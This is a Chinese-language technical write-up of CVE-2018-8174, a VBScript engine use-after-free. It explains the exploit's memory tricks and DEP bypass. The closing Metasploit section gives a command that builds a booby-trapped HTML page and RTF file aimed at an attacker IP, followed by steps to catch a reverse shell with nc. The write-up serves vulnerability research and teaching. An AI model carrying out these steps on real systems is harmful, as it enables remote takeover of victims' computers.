一、漏洞简介
VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序; 查看,更改或删除数据; 或创建具有完全用户权限的新帐户。
在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。
2018年5月8日,微软发布了安全补丁,影响流行的大部分系统版本。
漏洞基本信息 |
|
漏洞ID | CVE-2018-8174 |
漏洞名称 | Microsoft VBScript引擎远程执行代码漏洞 |
漏洞类型 | 远程代码执行 |
威胁类型 | UAF |
影响系统版本 | Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及服务器等版本 |
二、漏洞测试
系统环境 | Win7 32 |
IE | IE8 |
EXP | https://www.exploit-db.com/exploits/44741/ |
三、漏洞原理
由于样本混淆严重,部分代码见图1,这里采用简化POC进行分析,代码见图2。
图1 样本采用了严重混淆
图2 Crash Poc
Crash Poc中定义两个数组array_a和array_b,并声明了一个类MyTest,且重载了析构函数Class_Terminate,UAF中创建MyTest的实例赋值给数组array_a (1),并通过Erase array_a清空array_a中的元素,在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)对MyTest实例的引用(MyTest实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对MyTest实例的引用(MyTest实例引用计数-1)来平衡引用计数,这时候MyTest实例会被释放,但是array_b(0)仍然保留了这个MyTest实例的引用,从而array_b(0)指向了被释放的MyTest实例的内存,最终在MyTestVuln中通过b(0) = 0访问未分配内存触发漏洞。
当我们启用了页堆的IE浏览器运行这个PoC时,我们可以观察到OLEAUT32!VariantClear函数会发生崩溃:调用被释放的内存时出现访问冲突(Access Violation)异常。
从堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的调用栈中被释放了,vbscript!VbsErase即对应了脚本中的Erase,而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图:
VBScriptClass::Release中首先对VBScriptClass的引用计数-1(&VBScriptClass+0×4),如果引用计数=0则调用VBScriptClass::TerminateClass,调用VBScriptClass::TerminateClass时因为在脚本中重载了Class_Terminate函数,所以获得了一次脚本执行的机会,这里就可以在释放VBScriptClass的内存前将即将释放的VBScriptClass内存地址保存脚本控制的变量中(Set array_b(0) =array_a(1)),并通过array_a (1) = 1平衡引用计数,最终释放内存。
Set array_a(1) = New MyTest时,VBScriptClass引用计数为2。
Erase array_a 返回后,MyTest指向的内存已释放,但array_b(0)仍指向这块被释放的内存,
形成了悬挂指针,见下图:
四、漏洞利用分析
UAF漏洞利用的关键是如何用这个悬挂指针来操作内存。该漏洞利用多次UAF来完成类型混淆,通过伪造精数组对象完成任意地址读写,最终通过构造对象后释放来获取代码执行,代码执行没有使用传统的ROP技术或GodMod技术,而是通过脚本布局Shellcode利用。
1) 伪造数组达到任意写目的
通过UAF制造2个类的mem成员指向的偏移相差0x0c字节,通过对2个对象mem成员读的写操作伪造一个0x7fffffff大小的数组。
伪造的数组大致情况是:一维数组,元素有7fffffff个,每个元素占用1字节,元素内存地址为0。所以该数组可访问的内存空间为0x00000000到0x7ffffffff*1。因此通过该数组可以任意地址读写。但是在lIlIIl在存放的时候,存放的类型是string类型,故只需要将该数据类型将会被修改为0x200C,即VT_VARIANT|VT_ARRAY,数组类型,即可达到目的。
2) 读取指定参数的内存数据
攻击代码中,主要使用上面的函数来读取参数所指定的内存地址的数据。利用思路是在VBS中数据类型为bstr类型,通过vb中lenb(bstr xx)返回字符串地址前4个字节的内容(即bstr类型size域内容)的特性,获取指定内存读能力。 如上述代码所示,假如传进来的参数为addr(0x11223344),首先该数值加4,为0x11223348,然后设置variant类型为8(string类型)。然后调用len函数,发现是BSTR类型,vbscript会认为其向前4字节即0x11223344就是存放长度的地址内存。因此执行len函数,实际上就返回了制定参数内存地址的值。
3) 获取关键DLL基址
通过DOSmodeSearch获取。
通过泄露CScriptEntryPoint对象的虚函数表地址,该地址属于Vbscript.dll。
由于vbscript.dll导入了msvcrt.dll,因此通过遍历vbscript.dll导入表获取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,最后可以获取NtContinue、VirtualProtect函数地址。
4) 绕过DEP执行shellcode
a) 利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数,如下图显示。
b) 通过精心控制使代码执行ntdll!ZwContinue函数,第一次参数CONTEXT结构体也是攻击者精心构造的,见下图。
c) ZwContinue的第一个参数是指向CONTEXT结构体的指针,可计算出EIP和ESP在CONTEXT中的偏移。
d) 实际运行时CONTEXT中的Eip和Esp的值以及攻击者的方法,见下图。
攻击者将CONTEXT中的EIP设置为VirutalProtect,将ESP中的返回地址和VirtualProtect的第一个参数,都设置为shellcode的起始地址。当ZwContinue执行后直接跳到VirtualProtect第一条指令开始执行,
根据攻击者构造的参数将shellcode所在内存设置为可执行状态,当VirtualProtect返回时就会跳到shellcode执行。
最后调用WinExec弹出计算器。
五、MSF利用
环境准备
目标机 |
Win7以及安装具有该漏洞的office |
攻击机 |
Kali linux |
Msf组件 |
https://github.com/Sch01ar/CVE-2018-8174_EXP |
生成带有恶意 VBscript 的 html 页面和 word 文档
python CVE-2018-8174.py -u http://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444
把 explot.html 复制到 /var/www/html目录,
把msf.rtf复制到 /root/.msf4/local目录。
开启 apache 服务
nc监听4444端口
在靶机的 IE 浏览器打开恶意 URL,或者打开 word 打开 msf.rtf
收到反弹shell
参考资料:
http://blogs.360.cn/post/cve-2018-8174-en.html
http://www.freebuf.com/vuls/172983.html
更多漏洞播报:四维创智攻防实验室